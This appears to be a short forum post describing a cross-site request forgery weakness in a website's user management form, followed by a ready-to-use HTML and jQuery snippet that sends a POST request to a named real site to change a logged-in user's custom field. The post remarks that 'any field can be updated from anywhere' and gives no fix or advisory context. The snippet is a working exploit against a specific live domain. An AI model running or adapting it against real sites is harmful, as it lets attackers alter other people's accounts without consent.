This is only updating a custom field for the current user. But I think we can all see the possibilities. The only thing preventing this from being run from forign websites it the access allow origin header.
Otherwise, if you know the field names to update. Any field can be updated from anywhere on the website, capable of holding a standard HTML document
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.2/jquery.min.js"></script>
<script>
$(document).ready(function(){
$.ajax({
method: "POST",
url: "http://gottfred.dk/Default.aspx?ID=2321&Purge=True",
data: { "UserManagementForm": "1", "CustomField.AccessUser_AccessUser_Startpakke": "True", "HiddenField.CustomField.AccessUser_AccessUser_Startpakke": "True" }
})
})
</script>